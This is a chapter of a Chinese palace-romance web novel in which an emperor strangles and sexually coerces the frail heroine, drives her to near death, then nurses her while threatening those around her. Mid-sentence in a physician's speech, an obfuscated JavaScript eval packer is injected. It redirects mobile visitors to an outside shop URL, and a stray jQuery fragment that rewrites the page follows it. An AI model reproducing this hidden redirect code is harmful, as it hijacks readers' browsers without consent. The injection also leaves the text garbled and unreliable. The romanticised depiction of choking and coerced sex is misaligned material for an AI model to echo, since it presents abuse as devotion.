秋阳高悬于空，隐隐有西斜准备。
巍然囿台之上丝竹管弦悦耳，观景亭华柱挺立，滤光纱帘盈盈拂动。
帝王眸光散漫，单手支颐慵懒斜靠于主座，漫不经心地饮酒赏乐。
曲乐声作掩，几位大臣小声交谈。
“午时已过，怎还没有人回来？”
“不知……”
“不能是出什么事了吧？”
“……”
裴鹤手捻酒盏，端详帝王闲适惬意的神色，再看向外边宽阔露台中央，日晷静静矗立，针影在晷面缓缓移动，他心下愈发不安。
正要仰头饮酒，就见管理西苑猎场的牧官行色匆匆来求见帝王。
秦絜支颐的手慢悠悠放下。
王嵘会意，让乐伶们尽数退下，宣牧官觐见。
牧官一路跑着前来见圣驾，胖乎乎的肉脸涨得通红，跪拜时还微喘着气。
“启禀陛下，今日游猎长林有凶兽袭人，致使官员三死两伤。”
他说完面如死灰重重磕头，出了此等人命关天大事，他难辞其咎。
然，帝王闻言未先诘责他，只似诧异问道：“官员们皆手持利刃弓箭，并非手无寸铁，何等凶兽能如此致命？”
牧官小心翼翼观了一眼右前方面无表情的司徒公，头垂得更低，“回禀陛下，伤人杀人之凶兽，乃裴小将军所携猎犬。官员们与猎犬亲近，未曾设防，才被残害殒命……”
秦絜轻叹一声，“死伤的又是哪几位官员呢？”
待牧官嘴唇启闭逐一报出人名后，在席的几位大臣均面露惊骇。
死的竟全是司徒裴鹤的门生故吏！与裴氏情谊越深者，死相越惨。两名伤者，则是与裴鹤一般交好大臣之子。
由此，这死伤棋局背后的操盘者是谁，不言而喻。
中秋宴上的恢廓大度是假象。年轻的帝王，今以此狠戾手段敲打群臣，要时刻认清谁才是他们该唯一效忠的人。
裴鹤没有喊冤，直接起身跪地为侄儿认错，表示愿以先帝赏赐的免死金牌换侄儿一命。
秦絜听罢淡笑，“大庭广众公然谋害朝廷命官，纵然有免死金牌，亦是死罪可免，活罪难逃。”
“朕需给死伤者一个交代，司徒公说是不是？”
浅薄笑意之下，细碎浮冰。
裴鹤闭了闭眼，“但凭陛下处置。”
秦絜眸现嘲意，不留情面道：“子不教，父之过，裴枫所犯重罪，其父裴桉当连坐，同贬为白身，今生再不得入朝为官。此外，朕思虑决定，擢虎威将军徐桑为镇北将军，掌北地六郡兵权。诸卿可有异议？”
帝王冷沉的声音一字一句响彻在现场每一位大臣耳中，令人不寒而栗，起身跪拜。
“臣等无异，谨遵圣裁。”
今日局面，在意料之中，又在意料之外。一切仔细回想皆有迹可循，这两年，陛下以各种理由明里暗里接连调换裴桉麾下数名重要将领，就是在为将裴桉革职，进行如今水到渠成的兵权交接做准备。而意料之外是，裴桉的兵权，乃是先帝特别授予裴家的，陛下此举，算是违逆先帝之意。
裴氏北地兵权被收回，四位顾命大臣今也只剩下摇摇欲坠的裴鹤一位……桩桩件件昭示着，当今陛下，已全然不把先帝遗命放在眼里。
秦絜将这些老臣的各式神情尽收眼底，不以为意。他心想今日的戏也看够了，该早些收场。
秦絜起身的同时，一传话的太监也正巧入内，被跪了满地的重臣吓到，也跟着跪在后面不敢目视帝王，只半抬头遥遥望着王嵘欲言又止。
王嵘训斥道：“怎么回事呢？”
小太监连忙爬起，越过跪地的大臣们上前，颤声禀告道：“陛下，沐姑娘出事了……”
-
叶浔从那些太监身上搜罗出麻绳，将他们五个人捆绑在一起后，捡来一些硬木枯枝干草，在沐笙旁边蹲下身，用随身携带的匕首削好木片钻木生火。
火光徐徐燃起，很是温暖。
沐笙冻僵的身体慢慢恢复，她眼睫颤了颤，看向叶浔真诚感激道：“多谢叶左丞。”
叶浔则忧心注视她，“沐姑娘似乎比常人要畏寒许多。”
沐笙点了点头，她的确从小就身体不好，镇上曾有郎中诊断她活不到及笄之年，但娘亲不相信，一直省吃俭用精心照料孱弱多病的她。
后来许是上天眷顾，让她在八岁那年遇到哥哥，从此又多了一个家人，哥哥苦心钻研医术为她调养，她的身体得以日渐好转。不过，最终能治愈弱症，恢复康健，还要多亏那效用神奇的百髓颜。
秦絜说，百髓颜生长于艰险之地，是哥哥不顾性命危险取来的。
哥哥与娘亲一样，是这世上对她最好最好的人。
也不知，何时能与哥哥再相见？
沐笙心中酸涩，浅浅叹气，岔开话题问道：“叶左丞怎没去游猎？”
叶浔看出她心情郁闷，想了想莞尔道：“叶某骑射不精，深思熟虑觉得，去了也是献丑，为保全自身颜面，还是不去为好。”
沐笙被他这一本正经又带着几许滑稽的话逗笑。
少女笑容清甜，令人心弦微颤。
那日在长阳宫初见，叶浔就前所未有地深觉自己画技拙劣，听描述画出的画像，远不及美人真容之万一。
现在近观，他更是不禁感慨，若言秋水十分色，眼前佳人还要更胜十分。
沐笙抬手捋了捋被火烤干了些的颊侧湿发，别至耳后，目光无澜瞧了眼那些太监，“适才听他们的意思，指使他们来取我性命之人，似乎位高权重……那想来，大抵是不会被深究了……”
少女平静的话音，萦绕着似有若无的哀伤。
叶浔知表姑将沐笙献予陛下意欲何为，但他不清楚陛下对沐笙是何态度，若不喜，为何赐她锦衣华服，若喜欢，又为何不给任何名分。
沐笙从前在浣幽庭平安无事，而今在御前却遭遇祸事。这祸事，很难说与陛下的特殊对待无关。
他隐约看出她过得并不好，忍不住宽慰道：“沐姑娘，陛下他……”
“陛下不会管这件事的。”
沐笙摇头打断他的话语，她之前跟随秦絜去代郡时，也遭遇过刺杀，险些没命，最后不了了之。至今也不知，是什么人要杀她，还能将哥哥的字迹模仿得如出一辙。
听到她笃定的语气，叶浔蓦然回想起，昔日陛下命他画沐笙的画像时，神色冷峻，让侍卫描述，观之压根不是为寻人，反倒像是，为了通缉要犯。
沐笙看着他凝思的模样，眸含歉疚低声道歉：“叶左丞，我今日，也许已经连累你了……对不起……”
叶浔神思回转，否认道：“事情还未成定局，沐姑娘不必过于悲观，更无须有愧。因为换作其他无辜之人被恶意谋害，我亦不会袖手旁观。易地而处，倘若今日是沐姑娘救了我，沐姑娘会希望我愧疚吗？”
“我做事呢，向来出于本心，只因情愿而为，并非图谋他人回报。对此你也可以理解为，我喜欢做善事攒功德，本质都是为了自己。”
他说到后面，双眸含着温润笑意，尽力化解她内心的不安。
沐笙心有所触，笑了笑。
又烤了一会火，沐笙感觉双腿好像能动了，手扶着石头要站起身，后知后觉发现，左脚扭伤。
叶浔为她找来一根长木棍塞入她右掌心，站在她左侧虚扶着她说：“我知道你担心双苓，我陪你一起去找她。”
“谢谢。”
沐笙没拒绝，垂目间，注意到那别在他腰间犀角銙上的竹笛。
材质色彩与裴家女公子手持的玉箫很相像，白玉翠影，缠枝竹叶纹。
此时，响起的喊声将她思绪唤回。
“左丞大人。”
沐笙循声望去，只见几名深色长衫的男子朝叶浔行礼。
叶浔也是明显一愣，“你们何故出现在此？”
其中一人回答：“回左丞大人话，女公子从紫兰姑娘处听闻沐姑娘失踪，特令我等来寻。”
他说着小心打量沐笙，“这位，想必就是沐姑娘了。”
叶浔对沐笙道：“说起来你可能也不认识，他们是司徒公府上的家仆，而他们口中的女公子……”
“我认识，”沐笙转头看向立于自己身侧的男子，轻声解释说：“几个时辰前，我与裴姑娘在朝露园见过。”
叶浔讶异了一瞬，转念想到什么，笑道：“那看来甚巧。”
他吩咐这些裴家家仆将涉事太监暂且先押送回囹刑司。
至于后续要不要彻查，还须看陛下的想法。
叶浔步履缓慢，陪着沐笙往河边行去，注意力一直在她身上。
少女衣裙曳地，盖住了脚踝，他看不见她伤势具体如何，但他看得出，她走的每一步都极其吃力。这让他在不知不觉中，行由心控，手掌进一步触近，稳稳扶上了她纤柔的胳膊。
叶浔目露担忧，“冒犯姑娘了，但我看你实在……”
沐笙浅笑，刚要说没关系，抬眸间却见不远处禁卫肃立，帝王手握缰绳高坐于骏马之上。
穿林风吹过，那以金冠高束的墨发轻扬起几缕，惊绝冶艳的面容上，一双看似沉静的凤眸晕开若隐若现的怒意。
他就在那里，不知看了她与叶浔多久。
沐笙小脸惨白，想起他先前狠戾告诫，连忙将胳膊从叶浔手掌中挣脱，双膝朝那个方向跪了下去。
叶浔显然也是始料未及，后退多步与沐笙隔开一段距离，跪拜行礼。
马蹄声悠悠，却在无形之中给人窒息到极点的压迫感。
在那双玄锦缎靴进入沐笙视线时，一件蕴有清淡龙涎香的宽大披风也与之同时罩住了她发颤的身子。
紧接着，沐笙整个人被腾空抱起，抱住她的手臂力道很紧，她的脑袋被强制紧贴他的胸膛，能清晰听他强劲有力的心跳声。
叶浔担心帝王迁怒沐笙，本想言明方才那一幕缘由，却被王嵘眼神制止。
他恍惚感受到，帝王抱着沐笙离去前，冷瞥向他的那一眼，掠过杀意。
待帝王走后，王嵘浅松一口气，去扶叶浔起身。
“叶左丞，旁人不清楚便罢了，你敢说，你也丝毫不清楚沐姑娘与陛下的关系吗？”
叶浔脸色僵了僵，说道：“刚才事出有因，是我之过错，若陛下怪罪，还望公公出言维护沐……”
王嵘掀了掀眼皮，抬手打断，语重心长道：“叶左丞不必多言，也莫要再过问沐姑娘之事，才是为沐姑娘好。”
“刚才，万幸事出有因。”
-
天色渐渐阴暗，风雨欲来。
秦絜直接策马回到行宫，抱着沐笙阔步踏入灵清殿。
候在殿内的宫婢们见帝王到来，均伏首跪拜。
沐笙缩在秦絜怀里闭着眼，害怕看他脸上表情。
回来这一路，她感知到，他压抑着滔天怒火，只待爆发。
珠帘晃动，进入薄纱重重的内殿，秦絜将她放下，他掐住那小巧下巴将她的脸抬起，漠然凝视半晌，而后发出一声极轻极轻的笑。
不用看，也知笑容是阴郁的。
秦絜亲自动手，慢条斯理褪除她身上所有衣物，一件一件视为脏污，尽数扔了出去，声音平淡而瘆人。
“全部烧了。”
“诺。”
宫婢们听到吩咐俛首上前，将地上零落的女子衣物捡起，躬身退出大殿，全程不敢抬眸往内殿瞧半眼。
沐笙左脚腕很痛，站着比跪着还难受，膝盖不受控打颤。
秦絜重新将她打横抱在怀里，朝里间热雾氤氲的汤池走去，充斥着审视与侵略的眸光一寸一寸巡过她全身。
白嫩双手多了数道细伤，手腕留有麻绳捆磨过的红痕，膝盖和小腿磕了好几处触目惊心的青紫，左脚踝更是红肿到惨不忍睹。
他眸色沉冷，今日之事，伤害她的人毋庸置疑该揪出来千刀万剐。
然，一事归一事，她也犯了错。
秦絜动作轻柔将沐笙放入浴池，在池岸边蹲下身，居高临下谛视她，凉声命令道：“睁开眼，告诉朕，你与叶浔是怎么一回事。”
汤池热雾缭绕，少女湿答答的长发凌乱散落，流泻过柔白的肩膀。
她双臂环起护住胸前，纤长的眼睫轻颤睁开了眼，唇瓣翕动出声：“今日陛下所见，是意外，是奴婢一人过错，陛下责罚奴婢一人就好……”
话音停落的同时，青筋□□的大掌狠狠掐住了那段雪颈。
秦絜眸蕴戾色，“朕看你是当真不想活了……”
他何尝看不出她是因为受伤才与别的男人有肢体接触。
可当时叶浔看她的眼神实属冒犯，而她竟还坦然展露笑颜回应叶浔。
那番景象，远远看去郎情妾意，令他恼怒到想杀人。
她对别的男人笑，对他却从来只有畏惧害怕。
心虚害怕到闭眼逃避，不敢看他。现在，还胆敢当着他的面，出言维护别的男人……
她在关心别的男人。
这个认知使他怒不可遏，几乎当即就想提剑去杀了叶浔。
掌心颈脉跳动变得微弱，秦絜猛地回神，松开了手。
沐笙眼尾红晕，纤手扶住白玉池壁虚弱喘息，狼狈不堪。
秦絜手掌紧握至指骨泛白，眼光晦暗不明，似酝酿剧烈风暴。
即使他适才差点将她掐死，她也半分不服软，不求饶，一心要替那叶浔揽下罪过，付出自己的性命也在所不惜。
所以，她为了叶浔，情愿去死，是么？
有一个在一起生活数年的哥哥还不够，对见过两次的叶浔她也能掏心掏肺挂念……还是说，她与叶浔背着他还见过许多次……
那在她背后，到底有多少男人？
秦絜只觉胸腔被一种近乎癫狂的情绪缠裹，是愤怒，又不全是，怒火中还夹杂着巨大的，可耻的，嫉妒。
沐笙怕极了，更怕他对她的怒气牵连其他人，指尖发颤，鼓起勇气去触碰那玄色袍角，湿漉漉的乌眸抬起，一眨不眨地望着他。
秦絜站起身，衣袍离开她的指腹，不紧不慢扯开腰封，褪下她今晨服侍他穿好的衣物，迈步进入汤池，将她困在自己身前掌控范围。
……
他厌恶自己，在这样怒火中烧的时刻，依然不能克制对她的欲望。
……
外界风卷飞花，乌云堆叠聚拢，雨滴穿透绵软云层倾泻，沿着琉璃瓦淙淙落成帘，笼罩着金碧辉煌的殿宇。
沐笙十指攥紧壁缘，死死咬住下唇不让自己发出难堪羞耻的声音。
秦絜冷漠视之，干净长指蛮力打开她的唇齿，逼她出声。
可惜，她发出的也只是痛苦的呜咽声，与意动情迷无关。
………
偏执到想要永不分离。
她是他的所有物。
然，无论再如何，都不能激起怀中人给予他半点反应。
风潇雨晦，沐笙早已虚软无力，可此情此景，她连昏睡都不敢，强撑着精神承受他的怒火。
秦絜喉结滚动，放缓攻势，虎口掐住她的下颌，难辨情绪问道：“知错了么？”
沐笙艰难点点头。
“错在哪？”
“都是奴婢一人过错，求……”
下一刻，捏在她下颌的力道更重。
“真是不知悔改……”
“你以为自己算什么东西，还有脸给别人求情。”
秦絜冷冷嗤讽，薄凉的唇贴着她颊侧，说出羞辱至极的话语。
“朕告诉你，从始至终，你不过就是朕解闷的一个玩物，还是无趣的玩物。”
“哪有资格让朕费心？”
原来不是婢女，人都不算，是一个无趣的玩物。
沐笙面色苍白，本就所剩不多的尊严被他的话撕成七零八落的碎片，再被无情碾为齑粉。
她再次麻木点点头。
二人周遭气息顿时陷入死一般的沉寂。
凝着她无悲无喜的脸，秦絜莫名心慌意乱，抑制着念想抽身。
“滚。”
沐笙听话照做，撑着精疲力竭的身子爬出汤池，无视身后那道似要将她后背穿出个洞的阴凉目光，毫不回头，一瘸一拐朝外面行走。
幸而云母屏风处放有她的寝衣，她不至于彻底无以蔽体。
殿门自内打开，守在外边的宫婢们被只穿着单薄中衣走出的沐笙吓到。
少女身形纤瘦，长而浓密的乌发披散，巴掌大的小脸血色尽失，白皙的脖颈布有红色指印，左脚还受着伤，独自一人从殿内出来。
她们忧惧上前拦住她的去路，“姑娘……”
沐笙没有看她们，只痴痴望着殿门外的雨幕，无波无澜陈述事实，“陛下让我滚。”
迷幻雨幕连接天地，目光探不到的尽头好似有人在等她，只要走过去，就不会再有痛苦的事情发生。
宫婢们大惊失色，面面相觑，不确定沐笙所言真假。观沐笙不正常之态，几乎要以为是癔症。
沐笙扯开阻拦她的数只手，拖着沉重的步伐跨出殿门，呢喃道：“不要拦我，我要去找娘亲……”
一名为晚欣的宫婢盯着沐笙的背影叹气道：“我拿伞跟上去以防万一，你们，商量一下，谁进去禀告陛下……”
这般风雨，她们不太相信陛下会这么将沐姑娘赶出去。
……
秦絜从汤池上岸，披好衣袍，闭了闭眼眸让自己冷静。
她离去时那副破罐子破摔，似对人世间毫无留恋的样子，在他脑海中不断浮现，挥之不去，使他心里的慌乱越来越浓重。
此时，隔着云母屏风，宫婢从外传入的禀告声，让他彻底变了脸色，怒斥道：“一群没用的东西，这么多人全是摆设？她出殿门不知道拦着？”
宫婢跪地请罪，颤颤巍巍道：“回禀陛下，姑娘她……她说是陛下令她滚的，姑娘还说，要去找娘亲……”
她的娘亲早就死了。
外头疾风骤雨，她说去找娘亲。
秦絜没再深思，鞋也来不及穿，大步往外走。
黑沉沉的天像被利刃划开了一道缝不上的裂口，大雨滂沱，即便是有伞遮挡，也能将人从头到尾淋湿。
“姑娘，这雨太大了，你身上还有伤，我们回去吧。”
“或者，先不回灵清殿，先随奴婢去附近的宫殿避避雨……”
雨水噼里啪啦，雨珠顺着人脸弧线淌下，晚欣苦心劝着步履蹒跚的少女。
她虽与沐笙相处不多，却也知道沐笙是心软之人，遂而故意咳了两声。
沐笙脚步果然停了停，呆愣愣看向不远处积水暴涨的池塘，塘中原本亭亭玉立的晚开秋荷，被摧残得折下花枝，花苞被迫灌入雨水。
因着身体太过虚弱，沐笙说话声音气若游丝，“雨势大，晚欣姐姐早些回去，不用管我……”
晚欣随沐笙的视线看去，发觉到什么，忙挡在沐笙身前，“姑娘，奴婢虽不知到底发生了何事，但以后的日子还长，姑娘千万不要想不开啊……”
沐笙摇了摇头，头脑混沌到不太能分辨周围声响，又往前走了两步，眼皮沉重缓慢阖上。
就在她将要倒下去之时，一双可以说已经很熟悉的臂膀比身侧的晚欣更快地接住了她。
帝王此刻完全失态，形容凌乱与沐笙如出一辙，冒着大雨出现在此。
俊颜上是肉眼可见的焦灼之色。
晚欣手握紧竹节伞，愣怔到说不出话，也忘了行礼。
“传太医……”
秦絜抱起沐笙快步往回走，一向沉稳的声音染上不为人知的恐慌。
少女安安静静待在他怀里，一动也不动，浑身冰冷，感受不到脉搏跳动，像是没了生气。
是夜，灵清殿灯火通明，随行来到行宫的太医悉数跪在了外殿。
内殿芙蓉帐往两侧撩起，徐邈聚精会神为床榻上气息微弱的少女施针。
待施针完毕脱离生命危险，紫兰端来一碗刚熬好的汤药。
秦絜扶沐笙坐起身，让她脑袋倚靠着他的胸膛，再接过汤药，舀起一勺放在唇畔吹了吹，再往沐笙嘴里喂去。
然而药汁刚入口，就从唇角渗出，她在排斥进药，排斥活着。
秦絜眸色黯淡了须臾，俯首吻去她唇畔沾染的苦涩药汁，而后端起瓷碗自己先喝了一口，再贴近她的唇瓣，舌尖探入唇齿，长驱直入抵达她喉咙处，强制将药喂了下去。
辗转往复，一口接一口。
少女的甜津与汤药的苦涩交融，让他迷离到辨不清自己心底是何滋味。
喂完后，他将瓷碗交由在旁侍女，搂紧沐笙，下巴贴着她的额头，自言自语般说道：“只要你醒来看看朕，过往诸事，朕皆可以不计较。”
徐邈目睹这些画面，眉宇蹙起暗叹孽缘，若非对方是皇帝，她真忍不住呵斥一番。
都说了沐姑娘身子骨弱，房事当节制，然陛下非但不知节制，且在明知沐姑娘受伤气虚的情况下强要，事后还将人赶出去淋雨，对仇人都不至如此……
要不是她医术称得上精湛，沐笙恐怕活不过今夜。
抱了一会，秦絜放沐笙躺下，细心帮她掖好被角，问道：“她何时能醒？”
徐邈思绪回拢，恭谨上前，再仔细探了探沐笙的腕脉，实话实说：“回禀陛下，姑娘本就天生自带弱症，今日又接二连三受到极大损耗，再加上心中沉郁闷堵，少说也要好几日才醒过来，也有可能……”她顿了顿，垂首叹息，“也有可能永远醒不过来。”
甫一落音，就见帝王凌厉的眼风扫过来，语调平缓又含十足威胁，“你说什么？”
“姑娘她，似丧失生志……”徐邈跪下斗胆道：“陛下，世间最难治之人，莫过于此。倘若一人一心求死，医者也无力相助……为今之计，或可让沐姑娘心
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17684810|206960||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
中牵挂之人前来床畔陪伴，以唤醒姑娘生志……”
对于沐笙的家世，她在太医令那略有耳闻。母亲虽已逝，但还有位下落不明的哥哥。
鎏金花树连枝灯烛影摇晃，殿中空气凝滞，陷入诡异。
秦絜指腹冰凉，轻抚沐笙过分苍白的脸颊，沉默了约莫一盏茶时间，忽然笑了，声音温静而字字透着凌人恶寒。
“一群废物，全都给朕滚出去。”
“三日内，找不出医治办法，你们的脑袋也不必留着。”
王嵘回来，见外殿跪了满地的太医宫婢，心脏一咯噔，忙从徐邈和掌事宫女处问清事情始末。
然后，他思忖良久才敢进入内殿。
隔着珠帘与重叠纱幔，依稀可见帝王静坐于卧榻边的伟岸背影。
王嵘躬着身，试探性唤，“陛下。”
“说。”
得到帝王应声，王嵘这才战战兢兢道：“回禀陛下，现已查明，今日加害沐姑娘之幕后主使，是郦氏女郦璎。”
“若无母后撑腰，她岂能放出囹刑司罪奴。”
王嵘汗颜，那毕竟是太后，陛下的亲生母亲，“依陛下看，当如何处置？”
仅等待了几个瞬息，圣谕便穿过帘幔传来。
“郦氏女心术不正，谋害君主，罪无可恕，不日处以缳诛之刑。然朕念郦氏为朕母族，血浓于水，是以从轻发落郦氏余人，革去在朝为官者官职，族中年满十岁男丁，尽数流放崖州服劳役，无诏不得回返。”
轻描淡写的话调，亦透狠绝。
谋害君主，乃灭九族之重罪。
这些年因着血脉亲情，陛下一直未对倚仗皇亲国戚身份骄奢放逸、又无所建树?的郦氏下手，甚至几分纵容。
现今狠下心给郦氏全族致命一击，使其再无翻身余地，足以知帝王盛怒。
王嵘意下了然，领命告退。
夜色浓酽，雨声渐熄，青黄交接的叶片挂着晶莹水珠，在暗夜闪烁。
更漏声嘀嗒，蜡泪凝固，内殿各处的灯烛即将燃尽，但无帝王吩咐，宫人们也不敢贸然入殿置换新烛。
“沐笙，你放肆……”
芙蓉帐昏暗，少女气息仍旧微弱，秦絜心脏不知为何如被千针同刺，浮起密密麻麻的痛意。
“累了好好睡一觉也无妨，但朕耐心有限，你不能睡太久，若久到朕耐心耗尽，是会有很多人要为你陪葬的。”
“你心地善良，随随便便的阿猫阿狗都会去关心在意，想来是不愿见他人因你而头颅落地，血水四溅。”
……
整整一夜，各种零零碎碎连恐带吓的骇人言语，如阴间鬼魅游荡人间，盘绕在暗沉室内。
直至旭日东升，天光大亮，秦絜也未曾合眼。这是他与她初次同床共枕一整夜，没想到是这般景象。
他命人端来温水，亲自动手为沐笙细心擦拭身体发肤，往伤处上药。
做完这一切，外殿适逢其时响起喧闹声。
王嵘道：“陛下尚在休息，太后娘娘请回吧。”
郦窈颤手指着挡在身前的宫人们，愤声道：“母亲要见自己的亲生儿子，你们这群奴婢凭什么阻扰，让开！”
王嵘还想说些什么劝阻，帝王淡然的声音自内殿传出。
“都退下。”
“诺。”
王嵘手持拂尘挥了挥手，领着跪了一夜的众人退出大殿。
修长皙净的大手拂开珠帘，秦絜行至紫檀案前坐下，执壶斟茶。
茶水是刚泡好的，倒出在杯盏中白雾袅袅。
他斟出两杯茶，其中一杯往郦窈方向推了推，“母后若是来求情，现在即可离去，喝茶倒是能留下细品。”
郦窈通体生寒，怒而斥道：“陛下怎能为一贱奴对自己的表妹痛下杀手！胡乱给阿璎安上弑君罪名，甚至连郦氏全族都不放过……欲加之罪，何患无辞，陛下妄加戕害朝臣，与昏……”
言及此，郦窈猝然停住话头，秦絜适时掀眸，幽幽瞧她，“母后想说，朕此举，与昏君无甚分别。”
“是么？”
“不，不是，母后不是这意思，陛下自是千古明君。”郦窈急着辩解，“陛下此番是不慎被这低贱婢女蛊惑，一时迷了心智，才残害血脉至亲……”
“若她真只是婢女，怎会惹你们费尽心机下毒手，母后明知她不是。”
“既知她不是，却仍逆着朕的意伤害她，朕只好认为母后根本不把朕这个皇帝放在眼里。”
说话间，秦絜凤眸中愠起的怒意愈浓，沉声告诫道：“记住，沐笙是朕的女人，谁再敢用低贱之类的字词诋毁于她，母后会知何为真正不留情面。”
“陛下……”郦窈美眸瞪大，难以置信他被沐笙迷惑到可以与亲生母亲翻脸的地步，不甘心道：“可沐笙总归没死不是吗？纵使陛下喜欢她，也千不该万不该为她杀害自己的表妹，更不应该对整个郦氏下狠手……”
“大可不必将朕之决断全然归于沐笙一人，”秦絜与她五六分相似的眉眼间现出不耐，“这么多年，郦璎被你们惯得刁蛮跋扈，动辄滥杀，手上沾染鲜血不算少，处死并不冤。”
“女尚且如此，父更甚之。母后扪心自问，因父皇在位时一味纵容，舅舅他们多年来凭着职权便利，勾结各地方官横征暴敛，搜刮了多少民脂民膏，侵占了多少土地田产，直接间接害死了多少无辜百姓。”
“朕留他们性命，已是法外开恩，母后如果还不懂得知足，朕就该考虑让他们全都去死了。”
郦窈被他最后一句话气出眼泪，悲切戚哀哭诉，企图动之以情，“絜儿，你是为娘十月怀胎辛辛苦苦生下来的，当年若非华舒仗着皇后之尊把你抢去，强行让我们母子分开，你我何至于生分离心至此啊。”
“陛下绝情如斯，难道是要母亲跪下来求你？”
郦窈说着屈膝，作势下跪。
秦絜不甚在意道：“母后不要妄想威胁朕，结果会让母后更失望的。”
“也不用颠倒黑白，朕没有失忆。父皇活着的时候，宠冠六宫的郦贵妃恃宠而骄，目中无人不尊皇后，肆意残害人命，才是明摆着的事实。”
郦窈愕然，膝骨僵硬要跪不跪，听他继续说：
“父皇给了母后荣宠，也让母后替他担了骂名。时至今日，母后当明白，你与宣宁母后曾经子虚乌有的龃龉，皆因父皇自以为是的制衡之道而起，是时候该放下。遇事论对错，朕不会特意偏颇于谁，今后你们好生相与，作为太后该有的尊荣都不会少。”
郦窈沉浸在自己的执拗中，“陛下给阿璎安上弑君之罪，连带着郦氏全族难盼翻身之日……陛下口中的尊荣，分明是让我颜面无存，沦为天下笑柄！”
“陛下最初轻易答应伴读进宫，怕也是早有谋算，让我与你舅舅他们放松警惕……”
杯盏中的茶水热气散了不少，秦絜端起轻抿一口，不欲再过多言语，朝外唤来王嵘等人，淡淡吩咐道：“贞荣太后身体不适，需回去静养，务必让人悉心看顾。后宫大小事务，暂且全权交由宣宁太后负责。”
几名宫婢簇拥着靠近。
郦窈听出话外之意，脸倏然煞白，抗争着大喊：“放开！陛下软禁生母，乃昏庸无道行径！”
“陛下……”
待人被带走，恢复清静，秦絜又命人将堆叠的奏折搬入内寝，边处理政务边守着沐笙。
少女面容姣好恬静，睡得很沉，没有一声呓语，连呼吸都微不可闻。
秦絜按时为她擦身换药，时不时唤她，与她说话，得不到她的回应。
如此又过了两日，徐邈等女医再被传召到灵清殿时，见到的帝王不似平日意气风发，眼中隐有红血丝，轮廓分明的脸消瘦了些，略显颓然憔悴。
是几天几夜未合眼的模样。
女医们将这几日赶制出的幻梦香添入香炉，香雾冉冉弥漫。
此香配合专门针灸手法，能为沉睡之人造出美梦。
人在丧失生志时，忆及人世间的美好，说不定能再生起活下去的希望。
徐邈施完针不久就有了成效，沐笙眼睫颤动，唇瓣轻微开合。
秦絜心弦紧绷，握住她的手，附耳倾听，听到她在喊娘亲。
他喉咙干涩，哑声低缓应道：“娘亲在。”
她一遍一遍地喊，他一遍一遍不厌其烦地应声。
然则，突然插入的一声“哥哥”还是不可避免地让秦絜极度不愉，握紧了她的手心，默然半晌，妥协切齿道：“哥哥，也在……”
不想承认，又不得不承认。
他对她的底线一退再退，已经退到舍不得杀她。
帝王嗓音清冽含戾，似哄非哄，听着怪吓人的。
徐邈内心认为，还不如让她来哄。
沐笙无意识攥住秦絜骨节分明的长指，嘟囔了一会，柔软的脸颊往他微凉手背轻蹭了蹭，呈依偎姿态，唇角绽出一抹甜甜的浅笑。
秦絜感觉自己的心也跟着软化了几许。他喜欢被她依偎，而非被她惧怕。
天光沉匿，朗月皎皎。
裹着沐笙的怀抱很宽阔，过于暖，甚至有些热，硬邦邦的，不及娘亲的怀抱舒适。
她迷迷瞪瞪睁开眼，芙蓉帐内不算特别明亮的光线骤然从眼缝挤入，她不太适应，又意懒闭上眼眯着。
“醒了？”
出声语调透着欣喜，盘在她后腰的手臂收紧，让她险些喘不过气，娘亲才不会这样对她。
沐笙陡然意识到抱着她的人不是娘亲，心跳增速，想远离却被牢牢禁锢。
抬眸对上那双狭长幽邃的凤眸，看清噩梦中的脸，沐笙眼圈通红，手脚并用剧烈挣扎，“放开我，放开我……”
秦絜眸色深了深，她性子一向温温柔柔，对他更是畏怯居多，鲜少情绪激动。而今一醒来嚣张到对他拳打脚踢，像极了一只被逼急要与大灰狼同归于尽的小白兔，不管不顾。
秦絜不动声色任她发泄，对他施加暴力。然某处要害被踢中时，他在所难免地倒吸了口凉气，大掌握住那作乱的柔膝，翻身将她覆于身下。
“玩闹也要注意分寸，踢坏了可是会影响你的欢愉……”
沐笙只当噩梦还没醒，不然她明明与娘亲在一起好好的，睁开眼怎会见到最不想看见的脸。
她又努力眨了眨眼，盼望噩梦不要再缠着她。
然事与愿违，秦絜越发欺近，与她额头相抵，气息交错，他轻咬她的唇，提醒她不是在做梦。
不好的记忆，一时间齐齐回溯在脑海，沐笙眸中的光彩也一点一点黯了下去。
见此，秦絜心口隐隐随之难受，纠结着，生平第一次认错，“那日，是朕说错话，朕向你道歉。”
沐笙无动于衷偏过小脸，对他的话置若罔闻。
此般无声相持许久，秦絜实在受不了她的冷落，又强行将她的脸掰回正对着他，气急败坏道：“朕是玩物，朕是你的玩物，行不行？”